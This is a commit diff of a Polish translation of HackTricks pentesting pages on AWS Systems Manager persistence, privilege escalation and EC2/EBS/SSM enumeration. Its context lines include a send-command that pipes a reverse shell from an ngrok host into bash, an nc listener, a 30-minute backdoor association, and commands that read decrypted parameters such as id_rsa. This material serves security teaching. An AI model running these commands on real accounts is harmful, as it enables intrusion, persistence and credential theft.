Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p

This commit is contained in:
Translator
2025-07-24 06:56:42 +00:00
parent 60704211b1
commit b0cee116e1
4 changed files with 50 additions and 28 deletions
+1 -1
View File
@@ -230,7 +230,7 @@
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### Używanie ssm:CreateAssociation do utrzymania
Atakujący z uprawnieniem ssm:CreateAssociation może utworzyć Stowarzyszenie Menedżera Stanu, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te stowarzyszenia mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do utrzymania w stylu backdoor bez interaktywnych sesji.
Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć Stowarzyszenie Menedżera Stanu, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te stowarzyszenia mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do utrzymania w stylu backdoor bez interaktywnych sesji.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,6 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Ta metoda utrzymywania dostępu działa, dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia powiązań. Nie wymaga interaktywnych sesji ani wyraźnych uprawnień ssm:SendCommand. **Ważne:** Parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. W przypadku natychmiastowego lub jednorazowego wykonania, całkowicie pomiń `--schedule-expression` — powiązanie zostanie wykonane raz po utworzeniu.
> Ta metoda utrzymywania dostępu działa, dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia powiązań. Nie wymaga interaktywnych sesji ani wyraźnych uprawnień ssm:SendCommand. **Ważne:** Parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Aby wykonać polecenie natychmiastowo lub jednorazowo, całkowicie pomiń `--schedule-expression` — powiązanie zostanie wykonane raz po utworzeniu.
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić powłokę rev lokalnie za pomocą:
W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,7 +31,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
### `ssm:StartSession`
@@ -51,7 +51,7 @@ aws ssm start-session --target "$INSTANCE_ID"
#### Privesc do ECS
Gdy **zadania ECS** są uruchamiane z **włączoną opcją `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą używać `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\
Gdy **zadania ECS** są uruchamiane z **włączonym `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\
Zgodnie z [**dokumentacją**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to poprzez utworzenie bezpiecznego kanału między urządzeniem, którego używasz do inicjowania polecenia “_exec_”, a docelowym kontenerem z SSM Session Manager. (Wtyczka SSM Session Manager jest niezbędna do działania)\
Dlatego użytkownicy z `ssm:StartSession` będą mogli **uzyskać powłokę wewnątrz zadań ECS** z tą opcją włączoną, po prostu uruchamiając:
```bash
@@ -63,7 +63,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
### `ssm:ResumeSession`
Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH w instancjach** uruchamiających Amazon SSM Agent z **rozłączonym** stanem sesji SSM i **skompromitować rolę IAM** działającą w jej obrębie.
Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **rozpocząć sesję podobną do SSH w instancjach** uruchamiających Amazon SSM Agent w stanie sesji SSM **rozłączonej** i **skompromitować rolę IAM** działającą w jej obrębie.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,7 +72,7 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami.
**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
@@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Atakujący z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i miejmy nadzieję znaleźć **wrażliwe informacje** w nich.
Napastnik z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i mieć nadzieję na znalezienie **wrażliwych informacji** w nich.
```
aws ssm list-commands
```
@@ -95,7 +95,7 @@ aws ssm list-commands
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Atakujący z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich.
Napastnik z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wygenerowany wynik**, mając nadzieję na znalezienie **wrażliwych informacji** w nim.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -105,6 +105,20 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potencjalny wpływ:** Znalezienie wrażliwych informacji w wynikach poleceń.
### Używanie ssm:CreateAssociation
Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć Stowarzyszenie Menedżera Stanu, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te stowarzyszenia mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do utrzymywania dostępu w stylu backdoor bez interaktywnych sesji.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Ta metoda utrzymywania dostępu działa, dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia powiązań. Nie wymaga interaktywnych sesji ani wyraźnych uprawnień ssm:SendCommand. **Ważne:** Parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Aby wykonać polecenie natychmiastowo lub jednorazowo, całkowicie pomiń `--schedule-expression` — powiązanie zostanie wykonane raz po utworzeniu.
### Codebuild
Możesz również użyć SSM, aby uzyskać dostęp do projektu codebuild, który jest budowany:
@@ -12,14 +12,14 @@ aws-vpc-and-networking-basic-information.md
## EC2
Amazon EC2 jest wykorzystywane do uruchamiania **serwerów wirtualnych**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego przewidywania ruchu.
Amazon EC2 jest wykorzystywane do uruchamiania **wirtualnych serwerów**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego prognozowania ruchu.
Interesujące rzeczy do enumeracji w EC2:
- Maszyny Wirtualne
- Wirtualne maszyny
- Klucze SSH
- Dane Użytkownika
- Istniejące EC2/AMI/Zrzuty
- Dane użytkownika
- Istniejące EC2/AMIs/Zrzuty
- Sieci
- Sieci
- Podsieci
@@ -27,13 +27,13 @@ Interesujące rzeczy do enumeracji w EC2:
- Otwarte porty
- Zintegrowane połączenia z innymi sieciami poza AWS
### Profile Instancji
### Profile instancji
Używanie **ról** do przyznawania uprawnień aplikacjom działającym na **instancjach EC2** wymaga dodatkowej konfiguracji. Aplikacja działająca na instancji EC2 jest abstrahowana od AWS przez wirtualizowany system operacyjny. Z powodu tego dodatkowego oddzielenia, potrzebujesz dodatkowego kroku, aby przypisać rolę AWS i jej powiązane uprawnienia do instancji EC2 i udostępnić je jej aplikacjom.
Ten dodatkowy krok to **utworzenie** [_**profilu instancji**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) przypisanego do instancji. **Profil instancji zawiera rolę i** może dostarczyć tymczasowe poświadczenia roli aplikacji działającej na instancji. Te tymczasowe poświadczenia mogą być następnie używane w wywołaniach API aplikacji do uzyskiwania dostępu do zasobów i ograniczania dostępu tylko do tych zasobów, które określa rola. Należy pamiętać, że **tylko jedna rola może być przypisana do instancji EC2** w danym czasie, a wszystkie aplikacje na instancji dzielą tę samą rolę i uprawnienia.
### Punkt końcowy Metadanych
### Punkt końcowy metadanych
Metadane AWS EC2 to informacje o instancji Amazon Elastic Compute Cloud (EC2), które są dostępne dla instancji w czasie wykonywania. Te metadane są używane do dostarczania informacji o instancji, takich jak jej identyfikator instancji, strefa dostępności, w której działa, rola IAM powiązana z instancją oraz nazwa hosta instancji.
@@ -149,13 +149,13 @@ Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EC2 do
## EBS
Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** woluminów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie.
Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** wolumenów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie.
Migawki mogą zawierać **wrażliwe informacje**, takie jak **kod źródłowy lub klucze API**, dlatego, jeśli masz taką możliwość, zaleca się ich sprawdzenie.
### Różnica AMI & EBS
**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i odzyskiwania danych przechowywanych na woluminie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji.
**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i odzyskiwania danych przechowywanych na wolumenie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji.
### Privesc
@@ -169,9 +169,9 @@ Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EBS do
**Amazon Simple Systems Manager (SSM)** umożliwia zdalne zarządzanie flotą instancji EC2, co znacznie ułatwia ich administrację. Każda z tych instancji musi mieć uruchomioną **usługę SSM Agent, ponieważ to ona będzie odbierać działania i je wykonywać** z API AWS.
**SSM Agent** umożliwia System Managerowi aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS** i następnie wykonuje je zgodnie z określeniami w żądaniu.
**SSM Agent** umożliwia System Manager aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS** i następnie wykonuje je zgodnie z określeniami w żądaniu.
**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się.
**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypolitę **AmazonEC2RoleforSSM**, aby mogła komunikować się.
### Enumeracja
```bash
@@ -188,12 +188,20 @@ ps aux | grep amazon-ssm
```
### Privesc
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby eskalować przywileje**:
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby eskalować uprawnienia**:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
{{#endref}}
### Perssistence
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby osiągnąć persistencję**:
{{#ref}}
../../aws-persistence/aws-ssm-persistence.md
{{#endref}}
## ELB
**Elastic Load Balancing** (ELB) to **usługa równoważenia obciążenia dla Amazon Web Services** (AWS). ELB automatycznie **rozprowadza przychodzący ruch aplikacji** i skaluje zasoby, aby sprostać wymaganiom ruchu.
@@ -228,7 +236,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania**, co dodatkowo wzmacnia jego solidną architekturę.
AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 dostarczać **wydajność bliską wydajności sprzętu**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania**, co dodatkowo wzmacnia jego solidną architekturę.
Uzyskaj więcej informacji i jak to enumerować z:
@@ -238,30 +246,30 @@ aws-nitro-enum.md
## VPN
VPN pozwala na połączenie twojej **sieci lokalnej (site-to-site VPN)** lub **laptopów pracowników (Client VPN)** z **AWS VPC**, aby usługi mogły być dostępne bez potrzeby ich eksponowania w internecie.
VPN pozwala na połączenie twojej **sieci lokalnej (VPN site-to-site)** lub **laptopów pracowników (Client VPN)** z **AWS VPC**, aby usługi mogły być dostępne bez potrzeby ich eksponowania w internecie.
#### Podstawowe komponenty AWS VPN
1. **Customer Gateway**:
- Customer Gateway to zasób, który tworzysz w AWS, aby reprezentować swoją stronę połączenia VPN.
- Jest to zasadniczo fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia Site-to-Site VPN.
- Podajesz informacje o trasowaniu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Customer Gateway.
- Dostarczasz informacje o trasowaniu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Customer Gateway.
- Służy jako punkt odniesienia do skonfigurowania połączenia VPN i nie generuje dodatkowych opłat.
2. **Virtual Private Gateway**:
- Virtual Private Gateway (VPG) to koncentrator VPN po stronie Amazon w połączeniu Site-to-Site VPN.
- Jest podłączony do twojego VPC i służy jako cel dla twojego połączenia VPN.
- VPG to punkt końcowy po stronie AWS dla połączenia VPN.
- Obsługuje bezpieczną komunikację między twoim VPC a twoją lokalną siecią.
- Obsługuje bezpieczną komunikację między twoim VPC a twoją siecią lokalną.
3. **Site-to-Site VPN Connection**:
- Połączenie Site-to-Site VPN łączy twoją lokalną sieć z VPC przez bezpieczny tunel VPN IPsec.
- Ten typ połączenia wymaga Customer Gateway i Virtual Private Gateway.
- Jest używany do bezpiecznej, stabilnej i spójnej komunikacji między twoim centrum danych lub siecią a twoim środowiskiem AWS.
- Zwykle używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie.
- Zazwyczaj używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie.
4. **Client VPN Endpoint**:
- Endpoint Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów.
- Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego połączenia z zasobami AWS lub twoją lokalną siecią.
- Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego łączenia się z zasobami AWS lub twoją siecią lokalną.
- Różni się od Site-to-Site VPN tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci.
- Z Client VPN każde urządzenie klienckie używa oprogramowania klienta VPN do nawiązania bezpiecznego połączenia.
- W przypadku Client VPN każde urządzenie klienckie używa oprogramowania klienta VPN do nawiązania bezpiecznego połączenia.
Możesz [**znaleźć więcej informacji o korzyściach i komponentach AWS VPN tutaj**](aws-vpc-and-networking-basic-information.md#vpn).